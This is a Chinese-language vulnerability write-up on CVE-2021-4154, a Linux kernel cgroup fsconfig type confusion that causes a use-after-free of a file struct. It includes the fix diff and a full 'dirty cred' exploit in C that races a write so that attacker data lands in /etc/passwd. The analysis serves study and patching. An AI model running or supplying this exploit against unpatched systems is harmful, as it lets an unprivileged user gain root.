我是一名保安,保卫网络平安
CVE-2021-4154: 类型混淆引发任意file结构体UAF & “dirty cred”的利用 0x00. 总结
CVE-2021-4154
漏洞是由于变量类型混淆,引起的任意file
结构体的UAF
。
CVE-2021-4154
漏洞的修复:在引发变量混淆的地方增加type
的校验,防止错误赋值。
dirty cred
是一种漏洞利用手法,它在打开文件并校验是否可以写入 -> 写入数据这一个过程中,将打开的具有可写权限的非特权文件替换为正常情况下不可写的特权文件。如此能够达到向特权文件写入恶意数据的目的。
dirty cred
利用过程中需要对非特权文件创建软链接来绕过打开文件时加的锁,此外可以通过新开线程写入大量数据来增大利用的时间窗口。
0x01. 前言 CVE-2021-4154
是一个由于变量类型混淆引发的file
结构体的UAF
。该漏洞和dirty cred
实际上并无关系:dirty cred
是一种漏洞利用手法,而对于CVE-2021-4154
这样的file
结构体来说非常适合。因此,本文将从CVE-2021-4154
漏洞分析入手,并使用dirty cred
这一漏洞利用手法来进行漏洞的利用。
本文的实验环境为linux 5.13.3
。
0x02. CVE-2021-4154 漏洞分析 该漏洞影响的版本为Linux v5.13.4
以前,在 v5.13.4
被修补。简单来说,通过fsconfig
系统调用触发的cgroup1_parse_param()
函数存在类型混淆。使用fsconfig
系统调用设置任意一个文件描述符fd
,进入对应的分支处理后,在对fsconfig
的文件描述符关闭时,会造成指定的fd
对应的file
结构体被释放,从而造成该结构体的UAF
。
由于该漏洞的file
结构体是在filp
这样的cache
来进行分配的,因此不难想到可以使用cross-cache
的利用手法来利用该漏洞,只是略显复杂。而本文引入的dirty cred
可以更为方便地利用该漏洞。
漏洞原理 正常情况下,用户可以使用fsopen
系统调用打开文件系统,并使用fsconfig
系统调用来修改文件系统的一些功能,例如说调整大小等。
关注如下fs_parameter
结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 struct fs_parameter { const char *key; enum fs_value_type type :8 ; union { char *string ; void *blob; struct filename *name ; struct file *file ; }; size_t size; int dirfd; };
该结构体是调整文件系统的重要结构体,其中关注union
部分如下:
1 2 3 4 5 6 union { char *string ; void *blob; struct filename *name ; struct file *file ; };
众所周知,union
中的几个变量会占用同一块内存空间,若不加以校验容易引起变量混淆。而struct fs_paramter
给出的解法是在type
变量处定义当前结构体的类型,根据不同的类型,union
空间代表不同的变量类型。
那么很显然,若该type
校验不严格,则很容易让union
内部的类型发生混淆。linux kernel
也能出现这种低级bug
的吗?👈(你怎么不上
当调用fsconfig
系统调用时,内核会经历如下流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 SYSCALL_DEFINE5(fsconfig, int , fd, unsigned int , cmd, const char __user *, _key, const void __user *, _value, int , aux) { struct fs_context *fc ; struct fd f ; int ret; int lookup_flags = 0 ; struct fs_parameter param = { .type = fs_value_is_undefined, }; ... switch (cmd) { case FSCONFIG_SET_FLAG: param.type = fs_value_is_flag; break ; case FSCONFIG_SET_STRING: param.type = fs_value_is_string; param.string = strndup_user(_value, 256 ); if (IS_ERR(param.string )) { ret = PTR_ERR(param.string ); goto out_key; } param.size = strlen (param.string ); break ; case FSCONFIG_SET_BINARY: param.type = fs_value_is_blob; param.size = aux; param.blob = memdup_user_nul(_value, aux); if (IS_ERR(param.blob)) { ret = PTR_ERR(param.blob); goto out_key; } break ; case FSCONFIG_SET_PATH_EMPTY: lookup_flags = LOOKUP_EMPTY; fallthrough; case FSCONFIG_SET_PATH: param.type = fs_value_is_filename; param.name = getname_flags(_value, lookup_flags, NULL ); if (IS_ERR(param.name)) { ret = PTR_ERR(param.name); goto out_key; } param.dirfd = aux; param.size = strlen (param.name->name); break ; case FSCONFIG_SET_FD: param.type = fs_value_is_file; ret = -EBADF; param.file = fget(aux); if (!param.file) goto out_key; break ; default : break ; } ret = mutex_lock_interruptible(&fc->uapi_mutex); if (ret == 0 ) { ret = vfs_fsconfig_locked(fc, cmd, ¶m); mutex_unlock(&fc->uapi_mutex); } ... return ret; }
可以看到,系统调用中设置了对应设置的type
,随后调用了vfs_fsconfig_locked -> vfs_parse_fs_param
。
该部分逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int vfs_parse_fs_param (struct fs_context *fc, struct fs_parameter *param) { int ret; ... if (fc->ops->parse_param) { ret = fc->ops->parse_param(fc, param); if (ret != -ENOPARAM) return ret; } if (strcmp (param->key, "source" ) == 0 ) { if (param->type != fs_value_is_string) return invalf(fc, "VFS: Non-string source" ); if (fc->source) return invalf(fc, "VFS: Multiple sources" ); fc->source = param->string ; param->string = NULL ; return 0 ; } return invalf(fc, "%s: Unknown parameter '%s'" , fc->fs_type->name, param->key); }
这里会根据传入的文件系统来决定对应执行的函数。我们文件系统选择cgroup
时,调用cgroup1_parse_param
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int cgroup1_parse_param (struct fs_context *fc, struct fs_parameter *param) { struct cgroup_fs_context *ctx = cgroup_fc2context(fc); struct cgroup_subsys *ss ; struct fs_parse_result result ; int opt, i; opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { if (strcmp (param->key, "source" ) == 0 ) { if (fc->source) return invalf(fc, "Multiple sources not supported" ); fc->source = param->string ; param->string = NULL ; return 0 ; } } ... return 0 ; }
由此我们可知:
当调用fsconfig
系统调用对传入的cgroup
类型的文件系统处理时,若传入的cmd
类型为FSCONFIG_SET_FD
,则会错误地将fs_parameter
中联合体部分的file
结构体赋值给原本应该为string
的fc->source
。
那么这会导致什么呢?当我们尝试释放打开的文件系统的文件描述符时,会调用如下函数:
1 2 3 4 5 6 7 8 9 10 static int fscontext_release (struct inode *inode, struct file *file) { struct fs_context *fc = file->private_data; if (fc) { file->private_data = NULL ; put_fs_context(fc); } return 0 ; }
继续跟进puts_fs_context
:
1 2 3 4 5 6 7 void put_fs_context (struct fs_context *fc) { ... kfree(fc->source); kfree(fc); }
释放fc
结构体的时候,同时还会释放其source
指针指向的obj
。而由于source
在fsconfig
过程中由于变量混淆被错误赋值为file
结构体指针,这就导致了正在使用的file
结构体的UAF
。
POC 我们编译一个带有KASAN
的内核(开启CONFIG_KASAN
保护即可),并使用如下exp
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include "ltfallkernel.h" int main () { unshare_setup(); system("cd /tmp; touch vuln; chmod 666 vuln;" ); int fs_fd = syscall(__NR_fsopen, "cgroup" , 0 ); if (fs_fd < 0 ) { err_exit("popen failed" ); } int uaf_fd = open("/tmp/vuln" , 1 ); if (uaf_fd < 0 ) { err_exit("failed open victim file." ); } if (syscall(__NR_fsconfig, fs_fd, 5 , "source" , 0 , uaf_fd)) { err_exit("fsconfig" ); } close(fs_fd); return 0 ; }
编译,并在开启了kasan
的环境下运行:
可以看到触发了UAF
。
修复 加上对type
的校验即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c index ee93b6e895874..527917 c0b30be 100644 --- a/kernel/cgroup/cgroup-v1.c +++ b/kernel/cgroup/cgroup-v1.c @@ -912 ,6 +912 ,8 @@ int cgroup1_parse_param (struct fs_context *fc, struct fs_parameter *param) opt = fs_parse(fc, cgroup1_fs_parameters, param, &result); if (opt == -ENOPARAM) { if (strcmp (param->key, "source" ) == 0 ) { + if (param->type != fs_value_is_string) + return invalf(fc, "Non-string source" ); if (fc->source) return invalf(fc, "Multiple sources not supported" ); fc->source = param->string ;
0x03. “dirty cred” 利用手法 利用原理 dirty cred
是Zhenpeng Lin
团队提出的一种漏洞利用手法,blackhat
原文在这里 。
具体来说,dirty cred
是一种“竞争”的利用方法:先打开一个具有写权限的非特权文件,并尝试向其中写入恶意内容。这个过程可以分为如下三个部分:
打开非特权文件
校验用户是否具有对该文件的写权限
写入恶意内容
大概就是“将大象放入冰箱”的三步吧(笑。
而在这三个步骤中,若我们能够在第二步和第三步中间插入一个步骤,即在校验用户是否对该文件具有写权限后,替换这个可写的非特权文件为特权用户的重要文件,则第四步的写入恶意内容时,就会写入到特权文件。大概分为如下四个步骤:
打开非特权文件
校验用户是否具有对该文件的写权限
将打开的非特权文件替换为特权文件
向特权文件 写入恶意内容
大概就是在把大象放到冰箱前,就把它换成别的动物罢。这一步就需要一个漏洞来完成了。
用blingbling
师傅的图,这个过程大概是这样的:
而这个窗口在实际的利用过程中往往过小,因此实际应用中并不能直接利用。
改进措施 若我们可以“延长”check
文件权限到write
写文件的窗口,则能够在这个时间窗口内通过UAF
替换file
结构体的obj
的概率则大大提高。
因此,我们可以额外创建一个线程,其先行对非特权文件写大量数据,随后再让我们上面提到的路线继续执行,如下所示:
如上所示,我们创建了thread1
来写入大量数据。如此一来,thread2
先进行校验文件权限后,在欲图写入文件内容时,会被阻塞。因此,在thread2
到write
这个过程中的时间窗口将会大大延长,我们将其替换为victim
的file
结构体的概率将会大大增加。
POC 使用改进后的思想,我们可以写出poc
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 #include "ltfallkernel.h" #include <linux/kcmp.h> #include <sys/stat.h> #include <assert.h> #define NR_PAGE 0x40000 #define MAX_FILE_NUM 1000 int uaf_fd;int run_write;int run_spray;int fds[MAX_FILE_NUM];static void change_tmp_dir (void ) { system("rm -rf exp_dir;" ); system("mkdir exp_dir;" ); system("touch exp_dir/data;" ); char *tmpdir = "exp_dir" ; if (chmod(tmpdir, 0777 )) { err_exit("chmod failed" ); } if (chdir(tmpdir)) { err_exit("chdir failed" ); } }void trigger () { int fs_fd = syscall(__NR_fsopen, "cgroup" , 0 ); if (fs_fd < 0 ) { err_exit("popen failed" ); } symlink("./data" , "./uaf" ); uaf_fd = open("./uaf" , 1 ); if (uaf_fd < 0 ) { err_exit("failed open symbolic file uaf." ); } if (syscall(__NR_fsconfig, fs_fd, 5 , "source" , 0 , uaf_fd)) { err_exit("fsconfig" ); } close(fs_fd); }void *write_cmd () { char data[1024 ] = "Pwned by dirty cred\n" ; while (!run_write) { } run_spray = 1 ; if (write(uaf_fd, data, strlen (data)) < 0 ) { err_exit("write cmd: write failed." ); } info("Overwrite done!" ); }void *slow_write () { info("Start to slow write to get the lock." ); int fd = open("./uaf" , 1 ); if (fd < 0 ) { err_exit("slow write open file failed" ); } size_t addr = 0x30000000 ; int offset; for (offset = 0 ; offset < NR_PAGE; offset++) { void *r = mmap((void *)(addr + offset * 0x1000 ), 0x1000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); if (r < 0 ) { err_exit("Mmap failed" ); } } assert(offset > 0 ); size_t wr_len = (NR_PAGE - 1 ) * 0x1000 ; run_write = 1 ; if (write(fd, (void *)addr, wr_len) < 0 ) { err_exit("write failed" ); } info("write done!" ); close(fd); }void spray_files () { int found = 0 ; while (!run_spray){ } info("Got uaf fd %d, start to spray file to compete..." , uaf_fd); for (int i = 0 ; i<MAX_FILE_NUM; i++){ fds[i] = open("/etc/passwd" , O_RDONLY); if (fds[i] < 0 ){ err_exit("opening /etc/passwd failed" ); } if (!syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i])){ found = 1 ; info("found! file fd %d." , fds[i]); for (int j = 0 ; j < i; j++){ close(fds[j]); } break ; } } if (!found){ err_exit("File spray not hit, try again!" ); } }int main () { pthread_t pid, pid_cmd; unshare_setup(); change_tmp_dir(); trigger(); pthread_create(&pid, NULL , slow_write, NULL ); usleep(1 ); pthread_create(&pid_cmd, NULL , write_cmd, NULL ); spray_files(); pthread_join(pid, NULL ); pthread_join(pid_cmd, NULL ); return 0 ; }
这里需要注意的几个点:
对于非特权文件,我们在整个过程前,先对其创建了一个软链接,整个过程中操作的都是软链接
需要创建命名空间,否则普通用户无法创建文件系统,即使用fsopen
等系统调用
使用kcmp
来对比当前进程的第x
和第y
个文件描述符事实上是不是指向同一个file
结构体,具体可以看poc
0x04. Q & A - 为什么需要对写入数据的非特权文件创建软链接? 参考blingbling师傅博客 。这是因为,在thread1
和thread2
打开文件并写入时,实际上中间还是会产生一个锁,名为FMODE_ATOMIC_POS
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static inline struct fd fdget_pos (int fd) { return __to_fd(__fdget_pos(fd)); }unsigned long __fdget_pos(unsigned int fd) { unsigned long v = __fdget(fd); struct file *file = (struct file *)(v & ~3 ); if (file && (file->f_mode & FMODE_ATOMIC_POS)) { if (file_count(file) > 1 ) { v |= FDPUT_POS_UNLOCK; mutex_lock(&file->f_pos_lock); } } return v; }#define FMODE_ATOMIC_POS ((__force fmode_t)0x8000)
而且,这个锁是在写文件的权限校验之前的。因此,这个锁会导致我们的整个利用过程失败。那么是有必要绕过这个锁的。
跟踪这个锁是在哪里被加上的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 static int do_dentry_open (struct file *f, struct inode *inode, int (*open)(struct inode *, struct file *)) { if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode)) f->f_mode |= FMODE_ATOMIC_POS; } S_ISLNK(st_mode) S_ISREG(st_mode) S_ISDIR(st_mode) S_ISCHR(st_mode) S_ISBLK(st_mode) S_ISFIFO(st_mode) S_ISSOCK(st_mode)
该锁是在打开这个文件的时候就被加上的。但如上所示,有一个判断条件,其中若其是一个链接,则不会加上锁。因此,我们对非特权文件创建一个软链接,即可绕过这个锁,完成整个过程的dirty cred
的利用。
这也能被绕过啊,这Linux
它也不无敌啊
参考 blingbling师傅的博客 CVE-2021-4154漏洞分析及利用
[漏洞分析] CVE-2021-4154 cgroup1 fsconfig UAF内核提权
【kernel exploit】CVE-2021-4154 错误释放任意file对象-DirtyCred利用